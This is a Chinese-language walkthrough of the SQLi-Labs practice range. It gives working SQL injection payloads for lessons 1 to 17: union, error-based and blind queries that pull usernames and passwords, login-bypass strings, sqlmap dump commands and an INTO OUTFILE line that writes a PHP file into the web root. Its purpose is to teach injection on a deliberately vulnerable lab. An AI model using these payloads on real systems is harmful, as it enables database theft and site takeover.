sqli靶场版
SqliLabs 是一个学习 SQL 注入的靶场,它提供了 GET 和 POST 的实验场景,涵盖了联合查询注入、基于报错的注入、基于时间的盲注、基于布尔的盲注、堆叠注入、二次注入以及各种注入绕过。
靶场地址:https://github.com/Audi-1/sqli-labs
在 Windows 下使用 phpstudy 搭建靶场环境,将靶场放置到其 web 环境当中
成功访问说明靶场已经部署完成,接下来需要配置数据库连接
在/sql-connections目录下存在db-creds.inc数据库连接配置文件,设置数据库账号密码以及对应地址
$dbuser ='root';
$dbpass ='root';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
完成后访问靶场,点击setup databases for labs
搭建数据库环境
完成后便可快乐的注入了
闯关之前先了解常见的闭合方式、查询语法以及注入的分类
常见的几个闭合方式:
or 1=1 -- +
'or 1=1 -- +
"or 1=1 -- +
)or 1=1 -- +
")or 1=1 -- +
"))or 1=1 -- +
用闭合的是数字型注入方式,不用闭合的是字符型注入方式
union联合注入:
sql union语法:
select column name(s) from table_name1
union
select column name(s) from table_name2
常用的sql注入查询函数:
database() 数据库的名
version() mysql的版本信息
user() 数据库的用户名
@@datadir 数据库路径
@@version_compile_os 操作系统的版本
select schema_name from information_schema.schemata 查库
select table_name from information_schema.tables where table_schema='security' 查表
select column_name from information_schema.columns where table_name='users' 查列
select username,password from security.users 查字段
select table_schema,table_name from information_chema.tables where table_schema='数据库名';
table_schema是查询数据库名称(该字段存储数据库名)
table_name是查询表名(该字段存储对应数据库中的包括的表名)
from information_chema是从这个数据库里来查询tables这个表
注入的分类:
数字型和字符型。攻击者目的只有一点,那就是绕过程序的限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。
1、数字型注入
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加单引号,URL:www.text.com/text.php?id=3’
对应的sql:select
* from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1
,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select
* from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select
* from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
2、字符型注入
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id
=3
则字符型如下:select * from table where
name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加单引号:select
* from table where name=’admin’’
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ’and
1=1 此时sql 语句为:select * from
table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;
Mysql 有三种常用注释符:
-- 注意,这种注释符后边有一个空格
# 通过#进行注释
/* */ 注释掉符号内的内容
因此,构造语句为:select * from table where
name =’admin’ and 1=1—’ 可成功执行返回结果正确;
(3) 加and
1=2— 此时sql语句为:select * from
table where name=’admin’ and 1=2 –’则会报错
如果满足以上三点,可以判断该url为字符型注入。
Sql注入分类可以按照参数类型分为数字型和字符型。还有一些常见的注入分类,例如:
(1)POST:注入字段位于POST数据中;
(2)Cookie:注入字段位于Cookie数据中;
(3)延时注入:根据数据库延时特性的注入
(4)搜索注入:注入字段在搜索的位置;
(5)base64注入:注入字符经过base64编码后注入;
(7)错误注入:基于数据库错误信息的响应注入;
1-20关通过请求参数值、HTTP请求头、请求方法、利用场景的不断变化,我们需要选择适当的注入方法进行SQL注入。
该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$sql = select * from users where id='$id' limit 0,1
## 返回内容
if true:
输出查询内容
else:
print_r(mysql_error());
通过联合查询判断注入点,尝试验证
id=1' AND '1'='1 //返回正常界面
id=1' AND '1'='2 //返回错误界面
使用 order by 判断字段数
id=1' order by 3--+ //返回正常界面
id=1' order by 4--+ //返回错误界面
由此可说明字段数为3,通过 union select 查看回显位置
id=-1' union select 1,2,3--+
查询基础信息
id=-1' union select 1,version(),user()--+
id=-1' union select 1,@@version_compile_os(),database()--+
查询表名
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
查询列名
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
查询关键信息
id=-1' union select 1,group_concat(username),group_concat(password) from users--+
该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$sql = select * from users where id=$id limit 0,1
# 返回内容
if true:
输出查询内容
else:
print_r(mysql_error());
使用联合查询判断注入点,尝试验证
id=1 AND 1=1 //返回正常界面
id=1 AND 1=2 //返回错误界面
判断字段数
id=1 order by 3--+ //返回正常界面
id=1 order by 4--+ //返回错误界面
由此可说明字段数为3,通过 union select 查看回显位置
id=-1 union select 1,2,3--+
查询基础信息
id=-1 union select 1,version(),user()--+
id=-1 union select 1,2,database()--+
查询表名
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
查询列名
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
查询关键信息
id=-1 union select 1,group_concat(username),group_concat(password) from users--+
该题为单引号单括号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$sql = select * from users where id=('$id') limit 0,1
# 返回内容
if true:
输出查询内容
else:
print_r(mysql_error());
使用联合查询判断注入点,尝试验证
id=1') AND ('1')=('1 //返回正常界面
id=1') AND ('1')=('2 //返回错误界面
判断字段数
id=1') order by 3--+ //返回正常界面
id=1') order by 4--+ //返回错误界面
由此可说明字段数为3,通过 union select 查看回显位置
id=-1') union select 1,2,3--+
查询基础信息
id=-1') union select 1,version(),user()--+
id=-1') union select 1,2,database()--+
查询表名
id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
查询列名
id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
查询关键信息
id=-1') union select 1,group_concat(username),group_concat(password) from users--+
该题为双引号单括号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1"
目标SQL语句如下:
$sql = select * from users where id=("$id") limit 0,1
# 返回内容
if true:
输出查询内容
else:
print_r(mysql_error());
使用联合查询判断注入点,尝试验证
id=1") AND ("1")=("1 //返回正常界面
id=1") AND ("1")=("2 //返回错误界面
判断字段数
id=1") order by 3--+ //返回正常界面
id=1") order by 4--+ //返回错误界面
由此可说明字段数为3,通过 union select 查看回显位置
id=-1") union select 1,2,3--+
查询基础信息
id=-1") union select 1,version(),user()--+
id=-1") union select 1,2,database()--+
查询表名
id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
查询列名
id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
查询关键信息
id=-1") union select 1,group_concat(username),group_concat(password) from users--+
该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$sql = select * from users where id='$id' limit 0,1
# 返回内容
if true:
输出 You are in......
else:
print_r(mysql_error());
注意:本题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等
通过报错注入判断注入点,尝试验证
id=1' AND '1'='1 //返回正常界面
id=1' AND '1'='2 //返回错误界面
查询基础信息
id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
id=1' and (select count(*) from users group by concat((select user()),floor(rand(0)*2)))--+
id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
id=1' and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+
查询表名
id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+
查询列名
id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+
id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+
该题为双引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注
id=1"
目标SQL语句如下:
$id = '"'.$id.'"'
$sql = select * from users where id=$id limit 0,1
# 返回内容
if true:
输出 You are in......
else:
print_r(mysql_error());
注意:本题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等
通过报错注入判断注入点,尝试验证
id=1" AND "1"="1 //返回正常界面
id=1" AND "1"="2 //返回错误界面
查询基础信息
id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
id=1" and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+
id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
id=1" and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+
查询表名
id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+
查询列名
id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+
id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+
该题为双括号单引号get型注入,利用方式包括布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$sql = select * from users where id=(('$id')) limit 0,1
# 返回内容
if true:
输出 You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
注意:本题与之前稍有不同,由于不输出数据库报错信息,因此不可以使用报错注入的注入方式,但是这并不影响正常使用布尔盲注、时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可
在此题中作者还希望我们导出数据,可在数据库中进行查询导出权限
show global variables like "%secure%";
我们主要看其中的secure_file_priv参数,不同的值代表不同的含义
null #不允许导入、导出
/tmp/ #只允许在/tmp目录下导入、导出
空 #不限制导入导出
在 mysql 配置文件中修改为secure_file_priv=并再次查询,发现 mysql 写入配置已开启
在 MySQL 中写入文件需满足以下几个条件:
必须知道需要写入的文件目录(一般为站点目录)的绝对路径
当前用户具有 FILE 权限
需要读取的文件所有字节刻度,但内容必须小于max_allowed_packet
与此同时还需要考虑路径转义问题,即使用\\分隔路径
通过布尔盲注判断注入点,尝试验证
id=1')) AND (('1'))=(('1 //返回正常界面
id=1')) AND (('1'))=(('2 //返回错误界面
查询长度
id=1')) and length(user())>1--+ //返回正常界面
id=1')) and length(user())>20--+ //返回错误界面
确认长度为14位
id=1')) and length(user())=14--+ //返回正常界面
查询字符
id=1')) and substr(user(),1,1)='r'--+ //返回正常界面
id=1')) and left(user(),1)='r'--+ //left()函数
id=1')) and ascii(substr(user(),1,1))=114--+ //ASCII码
id=1')) and substr(user(),2,1)='r'--+ //返回错误界面
确定用户名为[email protected]
id=1')) and substr(user(),1,14)='[email protected]'--+
以此类推即可查询数据库名、表名、列名等
id=1')) and substr((select database()),1,14)='security'--+
由于盲注太过繁琐,可以使用 sqlmap 来获取信息
sqlmap -u "http://172.16.117.135/sqli/Less-7/?id=1" --dbms=mysql --flush-session --technique=B -v 3 -D security -T users --dump
存在注入点
扫描结果如下:
使用
insert into
导出文件需满足以下条件:
站点路径为
C:\phpStudy\PHPTutorial\WWW
当前用户为root,拥有站点目录的写入权限
MySQL安全配置已关闭
以上条件已知,我们可以通过注入直接写入 webshell
id=1')) union select 1,2,"<?php phpinfo()?>" INTO OUTFILE "C:\\phpStudy\\PHPTutorial\\WWW\\mac.php"--+
成功写入
该题为单引号get型注入,利用方式包括布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$sql = select * from users where id='$id' limit 0,1
# 返回内容
if true:
输出 You are in....
else:
输出 You have an error in your SQL syntax
注意:本题与之前稍有不同,由于不输出数据库报错信息,因此不可以使用报错注入的注入方式,但是这并不影响正常使用布尔盲注、时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可
使用布尔盲注判断注入点,尝试验证
id=1' AND '1'='1 //返回正常界面
id=1' AND '1'='2 //返回错误界面
查询长度
id=1' and length(user())>1--+ //返回正常界面
id=1' and length(user())>20--+ //返回错误界面
确认长度为14位
id=1' and length(user())=14--+ //返回正常界面
查询字符
id=1' and substr(user(),1,1)='r'--+ //返回正常界面
id=1' and left(user(),1)='r'--+ //left()函数
id=1' and ascii(substr(user(),1,1))=114--+ //ASCII码
id=1' and substr(user(),2,1)='r'--+ //返回错误界面
确定用户名为[email protected]
id=1' and substr(user(),1,14)='root@localhost'--+
以此类推即可查询数据库名、表名、列名等
id=1' and substr((select database()),1,14)='security'--+
由于盲注太过繁琐,可以使用 sqlmap 来获取信息
sqlmap -u "http://172.16.117.135/sqli/Less-8/?id=1" --dbms=mysql --flush-session --technique=B -v 3 -D security -T users --dump
扫描结果如下:
该题为单引号get型注入,利用方式包括时间盲注
id=1'
目标SQL语句如下:
$sql = select * from users where id='$id' limit 0,1
# 返回内容
if true:
输出 You are in....
else:
输出 You are in....
注意:本题与之前稍有不同,由于无论输入什么输出都相同,因此不可以使用布尔盲注的注入方式,但是这并不影响正常使用时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可
使用时间盲注判断注入点,尝试验证
id=1' AND sleep(5)--+ //界面响应需5秒以上
查询长度
id=1' and if(length(user())>1,sleep(5),0)--+ //界面响应需5秒以上
id=1' and if(length(user())>20,sleep(5),0)--+ //快速返回界面
确认长度为14位
id=1' and if(length(user())=14,sleep(5),0)--+ //界面响应需5秒以上
查询字符
id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //界面响应需5秒以上
id=1' and if(left(user(),1)='r',sleep(5),0)--+ //left()函数
id=1' and if(ascii(substr(user(),1,1))=114,sleep(5),0)--+ //ASCII码
id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //快速返回界面
确定用户名为[email protected]
id=1' and if(substr(user(),1,14)='root@localhost',sleep(5),0)--+
以此类推即可查询数据库名、表名、列名等
id=1' and if(substr((select database()),1,14)='security',sleep(5),0)--+
由于盲注太过繁琐,可以使用 sqlmap 来获取信息
sqlmap -u "http://172.16.117.135/sqli/Less-9/?id=1" --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump
扫描结果如下:
该题为双引号get型注入,利用方式包括时间盲注
id=1"
目标SQL语句如下:
$id = '"'.$id.'"';
$sql = select * from users where id=$id limit 0,1;
# 返回内容
if true:
输出 You are in....
else:
输出 You are in....
注意:本题与之前稍有不同,由于无论输入什么输出都相同,因此不可以使用布尔盲注的注入方式,但是这并不影响正常使用时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可
使用时间盲注判断注入点,尝试验证
id=1" AND sleep(5)--+ //界面响应需5秒以上
查询长度
id=1" and if(length(user())>1,sleep(5),0)--+ //界面响应需5秒以上
id=1" and if(length(user())>20,sleep(5),0)--+ //快速返回界面
确认长度为14位
id=1" and if(length(user())=14,sleep(5),0)--+ //界面响应需5秒以上
查询字符
id=1" and if(substr(user(),1,1)='r',sleep(5),0)--+ //界面响应需5秒以上
id=1" and if(left(user(),1)='r',sleep(5),0)--+ //left()函数
id=1" and if(ascii(substr(user(),1,1))=114,sleep(5),0)--+ //ASCII码
id=1" and if(substr(user(),2,1)='r',sleep(5),0)--+ //快速返回界面
确定用户名为[email protected]
id=1" and if(substr(user(),1,14)='[email protected]',sleep(5),0)--+
以此类推即可查询数据库名、表名、列名等
id=1" and if(substr((select database()),1,14)='security',sleep(5),0)--+
由于盲注太过繁琐,可以使用 sqlmap 来获取信息
sqlmap -u "http://172.16.117.135/sqli/Less-10/?id=1" --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump
但我们并没有扫描出结果,原因是 sqlmap 在默认情况下不会测试双引号,因此我们需要设置level=3
使 sqlmap 测试双引号
sqlmap -u "http://172.16.117.135/sqli/Less-10/?id=1" --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump --level=3
扫描结果如下:
该题为单引号post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,在登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname'];
$passwd = $POST['passswd'];
$sql = select username, password from users where username='$uname' and password='$passwd' limit 0,1;
# 返回内容
if true:
输出查询信息
else:
print_r(mysql_error());
注意:本题与Lesson1利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点$uname、$passwd
涉及登录的注入难免会让人想到万能密码漏洞,以上可知 SQL 查询语句如下:
select username, password from users where username='$uname' and password='$passwd' limit 0,1;
那么我们只需要将$uname
或$passwd
修改为1'#
即可完成登录绕过,造成经典的万能密码漏洞
select username, password from users where username='1'#' and password='' limit 0,1;
类似的 payload 如下:
#注释 passwd
uname=admin'--+&passwd=1
uname=admin'#&passwd=1
#注释语句 + 添加真条件
uname=admin&passwd=1' or 1--+
uname=admin&passwd=1'||1--+
uname=admin&passwd=1' or 1#
uname=admin&passwd=1'||1#
#闭合语句 + 添加真条件
uname=admin&passwd=1'or'1'='1
uname=admin&passwd=1'||'1'='1
使用联合查询判断注入点,尝试验证
uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功登录
判断字段数
uname=admin&passwd=1'%20order%20by%202#&submit=Submit //返回正常界面
uname=admin&passwd=1'%20order%20by%202#&submit=Submit //返回错误界面
由此可说明字段数为2,通过 union select 查看回显位置
uname=admin&passwd=-1'%20union%20select%201,2#&submit=Submit
查询基础信息
uname=admin&passwd=-1'%20union%20select%20user(),database()#&submit=Submit
uname=admin&passwd=-1'%20union%20select%20version(),2#&submit=Submit
查询表名
uname=admin&passwd=-1'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'#&submit=Submit
查询列名
uname=admin&passwd=-1'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'#&submit=Submit
查询关键信息
uname=admin&passwd=-1'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&submit=Submit
该题为单括号双引号post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname'];
$passwd = $POST['passswd'];
$sql = select username, password from users where username=("$uname") and password=("$passwd") limit 0,1;
# 返回内容
if true:
输出查询信息
else:
print_r(mysql_error());
注意:本题与Lesson11利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点$uname、$passwd
使用联合查询判断注入点,尝试验证
uname=admin&passwd=1")%20or%20("1")=("1&submit=Submit //成功登录
判断字段数
uname=admin&passwd=1")%20order%20by%202#&submit=Submit //返回正常界面
uname=admin&passwd=1")%20order%20by%203#&submit=Submit //返回错误界面
由此可说明字段数为2,通过 union select 查看回显位置
uname=admin&passwd=-1")%20union%20select%201,2#&submit=Submit
查询基础信息
uname=admin&passwd=-1")%20union%20select%20user(),database()#&submit=Submit
uname=admin&passwd=-1")%20union%20select%20version(),2#&submit=Submit
查询表名
uname=admin&passwd=-1")%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'#&submit=Submit
查询列名
uname=admin&passwd=-1")%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'#&submit=Submit
查询关键信息
uname=admin&passwd=-1")%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&submit=Submit
该题为单括号单引号post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname'];
$passwd = $POST['passswd'];
$sql = select username, password from users where username=('$uname') and password=('$passwd') limit 0,1;
# 返回内容
if true:
无输出信息
else:
print_r(mysql_error());
注意:本题与Lesson5利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点$uname、$passwd
使用报错注入判断注入点,尝试验证
uname=admin&passwd=1')%20or%20('1')=('1&submit=Submit //成功登录
查询基础信息
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit
查询表名
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit
查询列名
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),0x7e),1)#&submit=Submit
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%201,1),0x7e),1)#&submit=Submit
该题为双引号post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname'];
$passwd = $POST['passswd'];
$uname = '"'.$uname.'"'
$passwd = '"'.$passwd.'"'
$sql = select username, password from users where username=$uname and password=$passwd limit 0,1;
# 返回内容
if true:
无输出信息
else:
print_r(mysql_error());
注意:本题与Lesson13利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点$uname、$passwd
使用报错注入判断注入点,尝试验证
uname=admin&passwd=1"%20or%20"1"="1#&submit=Submit //成功登录
查询基础信息
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit
查询表名
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit
查询列名
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),0x7e),1)#&submit=Submit
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%201,1),0x7e),1)#&submit=Submit
该题为单引号post型注入,利用方式包括布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname'];
$passwd = $POST['passswd'];
$sql = select username, password from users where username='$uname' and password='$passwd' limit 0,1;
# 返回内容
if true:
无输出信息
else:
无报错信息,但返回图片不同
注意:本题与Lesson7利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点$uname、$passwd
使用布尔盲注判断注入点,尝试验证
uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功登录
查询长度
uname=admin&passwd=1'%20or%20length(user())>1#&submit=Submit //返回成功界面
uname=admin&passwd=1'%20or%20length(user())>20#&submit=Submit //返回失败界面
确认长度为14位
uname=admin&passwd=1'%20or%20length(user())=14#&submit=Submit
查询字符
uname=admin&passwd=1'%20or%20substr(user(),1,1)='r'#&submit=Submit //返回成功界面
uname=admin&passwd=1'%20or%20substr(user(),2,1)='r'#&submit=Submit //返回失败界面
确定用户名为[email protected]
uname=admin&passwd=1'%20or%20substr(user(),1,14)='[email protected]'#&submit=Submit
以此类推即可查询数据库名、表名、列名等
uname=admin&passwd=1'%20or%20substr(database(),1,14)='security'#&submit=Submit
由于盲注太过繁琐,可以使用 sqlmap 来获取信息。比较方便的是我们可以将数据包保存为文本文件并使用星号标记注入点
POST /sqli/Less-15/ HTTP/1.1
Host: 172.16.117.135
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://172.16.117.135
Connection: close
Referer: http://172.16.117.135/sqli/Less-15/
Upgrade-Insecure-Requests: 1
uname=admin&passwd=1&submit=Submit
使用 sqlmap 调取数据包文本进行扫描
sqlmap -r less15.txt --dbms=mysql --flush-session -v 3 -D security -T users --dump
当然也可以直接设置参数进行扫描
sqlmap.py -u "http://172.16.117.135/sqli/Less-15/" --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump
扫描结果如下:
该题为单括号双引号post型注入,利用方式包括布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname'];
$passwd = $POST['passswd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
# 返回内容
if true:
无输出信息
else:
无报错信息,但返回图片不同
注意:本题与Lesson15利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点$uname、$passwd
使用布尔盲注判断注入点,尝试验证
uname=admin&passwd=1")%20or%20("1")=("1&submit=Submit //成功登录
查询长度
uname=admin&passwd=1")%20or%20length(user())>1#&submit=Submit //返回成功界面
uname=admin&passwd=1")%20or%20length(user())>20#&submit=Submit //返回失败界面
确认长度为14位
uname=admin&passwd=1")%20or%20length(user())=14#&submit=Submit
查询字符
uname=admin&passwd=1")%20or%20substr(user(),1,1)='r'#&submit=Submit //返回成功界面
uname=admin&passwd=1")%20or%20substr(user(),2,1)='r'#&submit=Submit //返回失败界面
确定用户名为[email protected]
uname=admin&passwd=1")%20or%20substr(user(),1,14)='[email protected]'#&submit=Submit
以此类推即可查询数据库名、表名、列名等
uname=admin&passwd=1")%20or%20substr(database(),1,14)='security'#&submit=Submit
由于盲注太过繁琐,可以使用 sqlmap 来获取信息。比较方便的是我们可以将数据包保存为文本文件并使用星号标记注入点
POST /sqli/Less-16/ HTTP/1.1
Host: 172.16.117.135
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://172.16.117.135
Connection: close
Referer: http://172.16.117.135/sqli/Less-16/
Upgrade-Insecure-Requests: 1
uname=admin&passwd=1&submit=Submit
使用 sqlmap 调取数据包文本进行扫描
sqlmap -r less16.txt --dbms=mysql --flush-session -v 3 -D security -T users --dump --level=3
当然也可以直接设置参数进行扫描
sqlmap.py -u "http://172.16.117.135/sqli/Less-16/" --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump --level=3
扫描结果如下:
该题为单引号 post型注入,利用方式包括报错注入、布尔盲注、时间盲注,密码重置界面以 post 方式接收变量
目标SQL语句如下:
$uname = check_input($POST['uname']);
$passwd = $POST['passswd'];
$sql="SELECT username, password FROM users WHERE username=$uname LIMIT 0,1";
# 返回内容
if true:
$update="UPDTATE users SET password = '$passwd' WHERE username='$row'";
if 报错:
print_r(mysql_error());
注意:本题由于过滤了$uname参数,唯一的注入点在update语句当中且只使用了单引号拼接。操作正确无提示,因此只能使用报错注入、布尔盲注、时间盲注
使用报错注入判断注入点,尝试验证
uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功修改
查询基础信息
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit
查询表名
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit
查询列名
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),0x7e),1)#&submit=Submit
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit
但这时候出现报错,这是因为updatexml
是更新,不能更新后再进行查询,可使用派生表的方式进行查询解决这一问题的产生。
注意:该问题只出现于MySQL,MSSQL以及Oracle都不会出现这种问题。
